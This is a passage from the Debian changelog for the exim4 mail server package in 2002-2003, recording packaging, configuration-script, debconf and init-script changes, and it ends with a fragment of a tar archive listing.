update-exim4.conf: remove comments by default, allow to write output to a different file. (AM) * update-exim4.conf: check validity of configfile before installing it * fix breakage with newer md5sum - thanks to Sander (AM) * check in init-script for smtp-service in inetd that is compatible with openbsd-inetd's extended syntax (Hubert Chan) (AM) * Don't link against libwrap, exim3 doesn't either (Alexander Koch) (AM) -- Andreas Metzler Fri, 14 Feb 2003 19:55:54 +0100 exim4 (4.12-0.0.15) unstable; urgency=low * If exim4/dc_listenonpublic=false add an explaing line to the resulting configfile instead of a blank-line (Marc Haber) * In postinst and cronjob make sure that db files are owned by mail:mail * Add buzzword convert4r4 to description of "No configuration" profile * Body of manpage exim_convert4r4: s/convert4r4/exim_convert4r4/g * Change maintainer, add Marc Haber to Uploaders -- Andreas Metzler Sun, 2 Feb 2003 22:06:06 +0100 exim4 (4.12-0.0.14) unstable; urgency=low * fix bugs found by Marc Haber: - search for email-addresses file in /etc/exim4/ - s/hostname -fqdn/hostname --fqdn/ * exim4-base.config: don't grep in /etc/aliases if does not exist yet. * clear up config-script, using both $mailname and $dc_mailname was irritating. * fix wrong logic for aliases generation (= instead of !=) * fix major breakage of debconf code: config-script is called two times _before_ postinst writes debconf.results, db_set-commands (for sane defaults) in the second-run overwrote the answers given by the user. -- Andreas Metzler Sat, 1 Feb 2003 15:06:58 +0100 exim4 (4.12-0.0.13) unstable; urgency=low * link against GNUTLS -- Andreas Metzler Fri, 31 Jan 2003 16:32:31 +0100 exim4 (4.12-0.0.12) unstable; urgency=low * clean up at purge: Remove logfiles, ask about removing undelivered mails in spool directory. -- Andreas Metzler Fri, 31 Jan 2003 13:32:37 +0100 exim4 (4.12-0.0.11) unstable; urgency=low * clean up update-exim4.conf: + fix unconditional overwriting 03_exim4-base_neverusers + one central `tempfile -m...` + add skeleton function example * add missing 'set -e' to exim4-base.postrm * If there are no debconf answers and we are making a cross upgrade from exim3, try to parse its config file to seed debconf db. -- Andreas Metzler Sun, 26 Jan 2003 12:22:23 +0100 exim4 (4.12-0.0.10) unstable; urgency=low * Get rid of error messages: don't call chmod/chown in debconf/update-exim4.conf if the respective files don't exist. Don't try to kill non running daemons. * Don't start unconfigured daemon in init script, ie. require either ${dc_eximconfig_configtype}" != "xnone or existence of handcrafted /etc/exim4/exim4.conf. Thanks to Alexander Koch for firmly pushing me this way. * dc_listenonpublic was overwritten to true in config script. * Typo in exim4-base.postrm prevented removal of /etc/exim4/conf.d/router/28_exim4-base_hubuser * Clean up /var/spool/exim4 properly; at least if there are just empty directories. * hub_user was broken because of unescaped $. * import updated 10_daemon_close_fds.dpatch from Steve. * only set neverusers if root is aliased somewhere. -- Andreas Metzler Fri, 24 Jan 2003 17:14:13 +0100 exim4 (4.12-0.0.9) unstable; urgency=low * update-exim4defaults: Fix bugs, add option --init * /etc/default/exim4 is no conffile anymore, it is generated with update-exim4defaults. -- Andreas Metzler Fri, 17 Jan 2003 13:39:46 +0100 exim4 (4.12-0.0.8) unstable; urgency=low * Don't ship now unneeded empty /var/lib/exim4/masquerade and /var/lib/exim4/email_addresses * move hub_user router to /etc/e4/c.d/ * move primary-router definition to /etc/e4/c.d/ * code in debian/rules installing /etc/exim4/conf.d/ tree ignores CVS directories * WARNING: upgrades from 0.0.6 and 0.0.7 are broken! -After ugrading delete conffiles no longer in package in directories below /etc/exim4/conf.d/: rewrite/30_exim4-base router/28_exim4-base_hub_user - replace router/22_exim4-base_primary with a file containg only the line "# d41d8cd98f00b204e9800998ecf8427e" run update-exim4.conf afterwards and start daemon. -- Andreas Metzler Tue, 14 Jan 2003 17:44:50 +0100 exim4 (4.12-0.0.7) unstable; urgency=low * Add configuration file managment code using md5sums stored in the file itself to update-exim4.conf(8). Use it and move files for evaluation of /e/e4/email-addresses and the masquerading rules from /var/lib/exim4 to /etc/. Gets rid of /etc/exim4/conf.d/rewrite/30_exim4-base and its two .includes. -- Andreas Metzler Tue, 14 Jan 2003 13:05:51 +0100 exim4 (4.12-0.0.6) unstable; urgency=low * generate up to date manpage for eximstats with pod2man. * EXPERIMENTAL: Split /etc/exim4/exim4.conf.template to little files in /etc/exim4/conf.d/ - update docs accordingly. * fix wrong path in exim4-base.doc-base.spec -- Andreas Metzler Sun, 12 Jan 2003 18:25:40 +0100 exim4 (4.12-0.0.5) unstable; urgency=low * enhance default-file a lot. * ship update-exim4defaults(8) - a script to allow other packages to modify the default-file. -- Andreas Metzler Mon, 6 Jan 2003 23:00:15 +0100 exim4 (4.12-0.0.4) unstable; urgency=low * Compile perl plugin with -fPIC * Enable IPv6 support (Andrew Mulholland) * remove exim4-base.cron.d, it only contained comments (no inetd support). * enhance default-file: Allow disabling any queue runs and passing additional options to exim daemon and/or the queuerunner. -- Andreas Metzler Sun, 5 Jan 2003 13:16:37 +0100 exim4 (4.12-0.0.3) unstable; urgency=low * Keep patches separate to make upgrading easier, using dpatch. * Rename eximon to eximon4: Otherwise this would force anybody who has installed eximon and runs exim v3 to switch to exim v4 * Polish package descriptions a little bit. * Drop Recommends for netbase. We don't support inetd anyway. -- Andreas Metzler Tue, 31 Dec 2002 14:31:14 +0100 exim4 (4.12-0.0.2) unstable; urgency=low * Actually compile with -O2 (Matthias Klose) * Apply localscan_dlopen.patch from http://marc.merlins.org/linux/exim/files/sa-exim-current/ to make it possible to switch local_scan functions *without* recompiling exim. * compile local_scan.c perl plugin as shared object that is dlopened, document this in exim4-daemon-perl's description and doc-directory. -- Andreas Metzler Sat, 21 Dec 2002 14:01:24 +0100 exim4 (4.12-0.0.1) unstable; urgency=low * New upstream 4.12, a strict maintenance release. Without any new features (Don't worry - this is the real release i.e. Phil's third shot ;-) -- Andreas Metzler Wed, 18 Dec 2002 12:17:51 +0100 exim4 (4.11-0.0.4) unstable; urgency=low * Get rid of /usr/lib/exim4/exim (see README.Debian for patched files) * Use relative paths in debian/eximon.dirs -- Andreas Metzler Tue, 17 Dec 2002 13:40:19 +0100 exim4 (4.11-0.0.3) unstable; urgency=low * fix dbm lookups (one-line patch to src/search.c) -- Andreas Metzler Fri, 13 Dec 2002 13:38:31 +0100 exim4 (4.11-0.0.2) unstable; urgency=low * Fresh installs were broken, as the initial test in update-exim4.conf failed. * update-exim4.conf exits silently if /etc/exim4/exim4.conf exists. * don't invoke update-exim4.conf in postinst if configtype=none. -- Andreas Metzler Wed, 11 Dec 2002 16:32:47 +0100 exim4 (4.11-0.0.1) unstable; urgency=low * New upstream version 4.11: includes spec und util/* in orig.tar.gz, diff is small again. see NewStuff items 49 to 57 for new features since snapshot 4.10.13. -- Andreas Metzler Wed, 11 Dec 2002 13:01:07 +0100 exim4 (4.10.13-0.0.4) unstable; urgency=low * reformat manpages a little bit, start each sentence on a new line, refer to /usr/share/doc/exim4-base/ * remove the %s from PID_FILE_PATH * apply debian/fix-pid.issue.patch to fix minor security issue http://www.exim.org/pipermail/exim-users/Week-of-Mon-20021202/046978.html * test in init-script for working config before reloading/restarting (Andreas Piesk) -- Andreas Metzler Thu, 5 Dec 2002 13:04:51 +0100 exim4 (4.10.13-0.0.3) unstable; urgency=low * update copyright from NOTICE * Typos in exim(8) -- Andreas Metzler Wed, 4 Dec 2002 10:35:18 +0100 exim4 (4.10.13-0.0.2) unstable; urgency=low * Fix path for eximon.bin in eximon script (Andreas Piesk) * Add comments at the head of exim4.conf.template, containing a short introduction to the configuration scheme. -- Andreas Metzler Tue, 3 Dec 2002 23:52:28 +0100 exim4 (4.10.13-0.0.1) unstable; urgency=low * Snapshot 4.10.13 * CONFIGURE_FILE=/etc/exim4/exim4.conf:/var/lib/exim4/config.autogenerated * update update-exim4.conf* and documentation accordingly. * Generate config.autogenerated with same permissions as /etc/exim4/exim4.conf.template (it might conatain passwords) * Add BIG FAT warning at head of autogenerated file. * don't ship /var/lib/exim4/config.autogenerated, simply remove it on purge if it exists. -- Andreas Metzler Mon, 2 Dec 2002 12:45:58 +0100 exim4 (4.10.12-0.0.1) unstable; urgency=low * Upgrade to testing snapshot 4.10.12 * patches accepted/superseded by upstream: exim4-MID-expanded.patch, hmac*, perl.c.patch * patches that do not apply cleanly anymore: bV_shows_openssl_version.txt, daemon_close_fds.txt, gcc_attributes-eximon.diff, gcc_attributes.txt, tls_common.txt, tls_misc.txt, tls_session_cache.txt. * minimize changes to scripts/exim_install - use INSTALL_ARG=-no_symlink instead. * no util/cramtest.pl util/logargs.sh util/unknownuser.sh in upstream tarball - perhaps only in testing version? -- Andreas Metzler Thu, 28 Nov 2002 16:11:52 +0100 exim4 (4.10-0.srh20.19) unstable; urgency=low * ship convert4r4 as /usr/sbin/exim_convert4r4 (with manpage) * eximon does not provides/Conflicts: exim4-daemon * switch AGAIN *-daemon provides MTA: - *-daemon depends on -base instead of the other way round - explicit "conflicts/replaces: exim, exim-tls" for the base package - these need to add this the other way round, too (TODO). - move symlinks for sendmail, mailq, rmail, rsmtp and their manpages (+the one for newaliases) to the daemon-packages. - no more non-debhelper-generated exim4-base.prerm, simplified *daemon.postinst * try to start daemon in postinst no matter whether configtype=none, people might use it with a handcrafted exim4.conf. * register /var/lib/exim4/email_addresses for dpkg. -- Andreas Metzler Sun, 24 Nov 2002 15:04:32 +0100 exim4 (4.10-0.srh20.18) unstable; urgency=low * add "Replaces: exim4-daemon" to all the daemon flavours, needed for switching. * Marc Haber: make exim4-daemon-custom actually work. building from CVS was broken clean target missed Local/eximon.conf * exim-daemon-perl recommends libexim-localscan-perl -- Andreas Metzler Thu, 21 Nov 2002 17:04:54 +0100 exim4 (4.10-0.srh20.17) unstable; urgency=low * add support for building a customized daemon (exim4-daemon-custom) * tighten build-depends: official exim4-base linked against db3 won't work well together with exim4-daemon-custom linked against libdb2 * ship compile time configuration (EDITME-files) in /usd/daemon-flavour. * use /var/mail instead of /var/spool/mail (#169747) * make uucp a trusted user. (#169545) -- Andreas Metzler Sun, 17 Nov 2002 23:06:29 +0100 exim4 (4.10-0.srh20.16) unstable; urgency=low * fix Gecos pattern: 'From: "Andreas Metzler,,," Sat, 9 Nov 2002 10:12:34 +0100 exim4 (4.10-0.srh20.15) unstable; urgency=low * Fix crash with perl 5.8 (threads), thanks to Eckebrecht von Pappenheim * perl-package: search local_scan.pl in /etc/exim4 instead of /etc/exim. -- Andreas Metzler Wed, 6 Nov 2002 22:46:12 +0100 exim4 (4.10-0.srh20.14) unstable; urgency=low * add /etc/default/exim4 (#123184, #95325) * Don't start a queue runner with cron per default, exim runs as daemon. * polish config-script: more states, strip blanks. * Ask whether to bind to all local interfaces or only to localhost with sane default depending on configtype. (#108853) -- Andreas Metzler Thu, 31 Oct 2002 14:05:50 +0100 exim4 (4.10-0.srh20.13) unstable; urgency=low * send stdout of logrotate postrotate-script to /dev/null * polish exim4-base.postinst and exim4-base.templates * use tcp-wrappers * simplify update-exim4.conf. There is no need to only add remote_smtp transport for special configurations. It does not hurt and should make it easy for users to activate smtp-auth. * install configration example to examples subdirectory -- Andreas Metzler Tue, 29 Oct 2002 08:42:42 +0100 exim4 (4.10-0.srh20.12) unstable; urgency=low * linked against external pcre * clean up a little bit - move all manpages to debian/manpages/ * ship template /etc/exim4/email-addresses * LFS support (-D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE) * Don't force sender verification by default * I actually use this version. -- Andreas Metzler Sun, 27 Oct 2002 17:10:16 +0100 exim4 (4.10-0.srh20.11) unstable; urgency=low * if HUPed exim will rexec itself as /usr/lib/exim4/exim, changing the name to exim - start-stop-daemon-daemon would not recognize it. Changed init.script to exec /usr/lib/exim4/exim to set the processname to "exim". This needs to be deuglified. * use black magic in daemon-$flavour postinst to only start it there if switching flavours. * support for inetd has to wait for sarge+1 * fix description of 'exim4' daemon flavour. -- Andreas Metzler Sat, 26 Oct 2002 11:09:14 +0200 exim4 (4.10-0.srh20.10) unstable; urgency=low * don't provide symlink /usr/sbin/exim anymore - this broke coinstallation with uninstalled exim 3 - the exim3-init script started the exim4-daemon. Ship symlink /usr/lib/exim4/exim -> /usr/sbin/exim4 and set BIN_DIRECTORY to /usr/lib/exim4. This is a little bit ugly but the alterative would be to patch 7 files in src. * the daemon packages conflict with each other by each having Conflicts/Provides: exim4-daemon * Add doc base support for spec and filter.txt (bug 165961) * Switching daemon flavours restarts them. -- Andreas Metzler Fri, 25 Oct 2002 16:14:44 +0200 exim4 (4.10-0.srh20.9) unstable; urgency=low * apply exim4-MID-expanded.patch - make domain part of M-ID configurable. Shipped in debian-subdir so it can be easily patch -R'd before official debian release. * set spool to /var/spool/exim4 in EDITME * remove /var/run/exim4 on purge * remove /var/(spool|log)/exim4 on purge if empty * added manpages. * allow relay for 127.0.0.1 : ::::1 * set host_find_failed = defer for smarthost router and mimick exim3. It really sucks to get a frozen message and error to the postmaster _every_ time I try to send a message offline. -- Andreas Metzler Thu, 24 Oct 2002 14:00:05 +0200 exim4 (4.10-0.srh20.8) unstable; urgency=low * info and html doc generated from separate source package - diff is small * remove m4 and texinfo from build-depends -- Andreas Metzler Thu, 24 Oct 2002 12:22:56 +0200 exim4 (4.10-0.srh20.7) unstable; urgency=low * config script as state machine - allows going back! * hopefully last forgotten entry of /var/{spool,log,run}/exim in postinst and cron.* fixed. -- Andreas Metzler Thu, 24 Oct 2002 09:16:12 +0200 exim4 (4.10-0.srh20.6) unstable; urgency=low * generate /etc/aliases with debconf * remove dpkg-statoverride managment with debconf, ship exim binary as 4755 root:root. * update debian/copyright from NOTICE. * add (commented out) maildrop-transport to template * add (commented out) maildir-transport to template * Remove some backslashes in template * Fix *lots of* cut and paste errors, introduced by generating the configuration template from the debconf_eximconfig perl script. $local_delivery is wrong, define macro LOCAL_DELIVERY and use it instead. Remove erranous backslashes. * Add comments from the example configuration file to template. * host and domain lists are colon separated. -- Andreas Metzler Mon, 21 Oct 2002 22:37:45 +0200 exim4 (4.10-0.srh20.5) unstable; urgency=low * new debconf-code: - shell scripts - debconf-results are saved (and read from) /etc/exim4/debconf.results - /etc/exim4/exim4.conf.template is a dpkg-conffile - update-exim4.conf(8) merges these two files and generates exim's main configuration file /var/lib/exim4/exim4.conf. -- Andreas Metzler Sat, 19 Oct 2002 19:23:35 +0200 exim4 (4.10-0.srh20.4) unstable; urgency=low * symlink usr/sbin/exim4 <-> usr/sbin/exim in -base package was wrong. * move invoke-rc.d to -base package - _it_ contains the init-script * move stat-overide-stuff to -base package. - The values are filled in _its_ config. * missing stuff from log/exim4 run/exim4 transition: exim-base maintainerscripts. * Daemon-packages have only debconf stuff left as maintainerscripts. How about letting dh_installinit manage the initscript? * exim4-base.postrm has no business removing /etc/exim/exim.conf -- Andreas Metzler Fri, 18 Oct 2002 14:40:46 +0200 exim4 (4.10-0.srh20.3) unstable; urgency=low * /etc/exim4/... * fix cronjob: Test for existence of /etc/exim4/exim4.conf - it formerly tested for exim3's configuration file * /usr/lib/exim/ --> /usr/lib/exim4/ -- Put eximon.bin there, too. -- Andreas Metzler Fri, 18 Oct 2002 13:43:37 +0200 exim4 (4.10-0.srh20.2) unstable; urgency=low * more changes: * /var/log/exim/ --> /var/log/exim4/ * /var/run/exim/ --> /var/run/exim4/ * /etc/init.d/exim --> /etc/init.d/exim4 * Use files named after the real package (exim4-base instead of) exim for cron and logrotate. - use dh_installlogrotate and dh_installcron * Don't install exim.8 manpages in daemon packages - symlink is enough, ship real manpage in base-package. - use dh_installman. * Get rid of m4-magic - without the alternatives there is no need. -- Andreas Metzler Thu, 17 Oct 2002 23:52:31 +0200 exim4 (4.10-0.srh20.1) unstable; urgency=low * rename package, replace dependencies. - src: exim4 - binary exim(-something) --> exim4-something - Remove Provides: exim - does not make sense anymore, dselect/apt would take the real exim instead of the provided one. - Revamp Dependencies and contents * exim4-base provides/confl/repl: mta and depends on one of *our* flavours * each of the flavours only contains only /usr/sbin/exim4 and a manpagelink exim4--->exim - there is no need to provides/confl/repl: mta, because we ship no common file with the same name as in the original exim4-package - drop alternatives. - install configuration example to /usr/share/doc/exim4-doc/examples -- Andreas Metzler Thu, 17 Oct 2002 17:58:08 +0200 exim (4.10-0.srh20) unstable; urgency=low * exim-base.config fixes during testing-- need to run debconf subs in a list context to get their numeric return code. * enqueue_question(): $code == 0 is ok too * main: call fetch_default() not find_default() [when did I last test this?] * install debconf_eximconfig (!!!!!!) -- Steve Haslam Wed, 16 Oct 2002 21:50:27 +0100 exim (4.10-0.srh19) unstable; urgency=low * Move the eximon binary into the eximon package! -- Steve Haslam Wed, 16 Oct 2002 19:36:48 +0100 exim (4.10-0.srh18) unstable; urgency=low * The clean: target now deletes doc/tmp -- Steve Haslam Wed, 16 Oct 2002 18:10:29 +0100 exim (4.10-0.srh17) unstable; urgency=low * Slave alternatives for "rmail" too. * Changed libxaw-dev in build-depends to libxaw7-dev | libxaw-dev * Added libperl-dev and m4 to build-depends -- Steve Haslam Wed, 16 Oct 2002 17:19:40 +0100 exim (4.10-0.srh16) unstable; urgency=low * Put --exec $DAEMON back on the start-stop-daemon --stop calls, since start-stop-daemon complains about the process not being found after it just killed it. (Due to Exim not removing its own pid file?) * Point slave alternatives at .gz versions of manpages -- Steve Haslam Wed, 16 Oct 2002 16:12:08 +0100 exim (4.10-0.srh15) unstable; urgency=low * Fix "update-alternatives --remove" invocation. * Remove alternatives AFTER stopping daemon. * Use logrotate to cycle logs. * Manually install logrotate/cron stuff, to call it "exim" instead of "exim-base". * Install upstream exim.8 manpage, and slave alternatives. -- Steve Haslam Wed, 16 Oct 2002 15:44:56 +0100 exim (4.10-0.srh14) unstable; urgency=low * dh_installinit: pass --noscripts, put the script invocation etc. in ourselves. This is still pretty nasty, but ensures that the deamons are stopped/started themselves, not by exim-base. * Also, pass --init-script=exim to use /etc/init.d/exim, not /etc/init.d/exim-base. * Fix some inconsistencies in the postsinst related to the above that made lintian scream * Remove the --exec option when stopping the daemon in the init script, so that we still stop the daemon if the symlink changed to point to a different version (hacky). -- Steve Haslam Wed, 16 Oct 2002 14:51:19 +0100 exim (4.10-0.srh13) unstable; urgency=low * Bah, fix paths of mailq etc. to be in /usr/bin, not /usr/lib -- Steve Haslam Wed, 16 Oct 2002 14:08:45 +0100 exim (4.10-0.srh12) unstable; urgency=low * The postinsts were totally broken, doing everything off the "install" target, and nothing off "configure". Since they're all pracitcally the same, they are now generated from daemon-postinst.m4. * Fix invocations of dpkg-statoverride (sysuser??) * Added slave alternatives for mailq, sendmail etc. * Removed daemon packages conflicting with mail-transport-agent, although this isn't good-- the deamon packages don't conflict with each other (they use alternatives to arrange themselves), but do conflict with other MTAs that install /usr/lib/sendmail|/usr/sbin/sendmail links. Urnf. * Similar generation system for prerms as postinsts -- Steve Haslam Wed, 16 Oct 2002 13:47:53 +0100 exim (4.10-0.srh11) unstable; urgency=low * Urnf, nasty circular dependencies. Removed exim-base's dependency on exim-daemon. * Fix "use strict" errors in exim-base.config (oops) -- Steve Haslam Wed, 16 Oct 2002 13:10:25 +0100 exim (4.10-0.srh10) unstable; urgency=low * Patch src/expand.c with HMAC support * Rename exim-daemon-default package to just "exim", so upgrading works better, and exim isn't made into a pure virtual package while other packages depend on it. Moreover, mail-transport-agent is provided by each of the daemon packages, not exim-base, since having exim-base alone is not sufficient to have an MTA. * Each exim daemon package depends on exim-base, not exim. -- Steve Haslam Wed, 16 Oct 2002 12:52:19 +0100 exim (4.10-0.1) unstable; urgency=low * Heavy changes to build system. * Split package into: - exim-base: This package contains all utility programs and documentation in plain text format. - exim-daemon-$FOO: (Currently for FOO in light, default, heavy, perl): Conain only the exim daemon in different configurations - exim-doc-info: Contains exim documentation in Info format. - eximon: The X11 monitor for Exim -- Hilko Bengen Wed, 2 Oct 2002 17:23:04 +0200 exim (4.10-0.srh4) unstable; urgency=low * exim.c: Show the OpenSSL version number if TLS compiled in and the tls debug selector enabled. * exim.postinst et al: Keep the alternatives configured between upgrades (naughty) since exim-light will fail to start if exim-heavy keywords are in the config file -- Steve Haslam Fri, 13 Sep 2002 16:08:47 +0100 exim (4.10-0.srh3) unstable; urgency=low * tls.c: Some debug output changes to verify_callback() * debconf_eximconfig: add more escaping when writing acl_check_rcpt * tls.c and others: ${tls_peercn} now expands to the CN part of the peer's certificate subject when using TLS. * transports/smtp.c and others: Added tls_verify_hostname option to verify the hostname we connected to against the CN/subjectAltName of the peer certificate. -- Steve Haslam Fri, 13 Sep 2002 15:44:07 +0100 exim (4.10-0.srh2) unstable; urgency=low * exim-heavy.postinst: had duplicate sendmail alternative, removed. Had a priority the same as exim-light too... increased. * Replace LOOKUP_CDB=yes in exim-light configuration, since it was in the Exim 3 package and doesn't bring in any dependencies. * exim.postinst: delete files from /var/spool/exim/db if they cannot be read by exim_dumpdb (some DB compatibility lossage) -- Steve Haslam Tue, 3 Sep 2002 13:28:44 +0100 exim (4.10-0.srh1) unstable; urgency=low * My stab at an Exim 4 package. Features include: * An exim-heavy package that contains an Exim binary with LDAP, MySQL, PostgreSQL etc. in, so that the main Exim package's dependencies are kept thin but users can easily get hold of the extra lookup types. * Debconf-based configuration, although it has priority=high questions, so not completely noninteractive yet, and not all features of eximconfig have been ported/checked * Automated conversion of Exim 3 configuration files (using PH's convert4r4) -- Steve Haslam Tue, 3 Sep 2002 10:20:24 +0100 exim (3.35-1.srh1) unstable; urgency=low * Reconfigured to include MySQL and PostgreSQL lookups -- Steve Haslam Fri, 9 Aug 2002 15:52:37 +0100 exim (3.35-1) unstable; urgency=low * New upstream version, fixes buffer overflow (Closes: #135069) * debian/config: Added receiver_try_verify (Closes: #136276) * debian/init.d: Use --retry 30 option for start-stop-daemon when stopping exim (Closes: #136450) * debian/postinst: "noninteractive" in correct case (Closes: #134379) * debian/init.d: Use -n option for echo (from patch in #133288) * debian/exim_lock.8: Manpage for exim_lock - thanks Nick Philips (Closes: #131679) * debian/config: Fixed comment on smtp_accept_queue_per_connection (Closes: #136756) * debian/exim.8,debian/eximon.8: Fixed hyphenation (Closes: #132068) * debian/control: Short description improved (Closes: #130698) -- Mark Baker Mon, 4 Mar 2002 23:04:52 +0000 debian/exim4-daemon-heavy.docs0000644000000000000000000000002312200230010013410 0ustar EDITME.exim4-heavy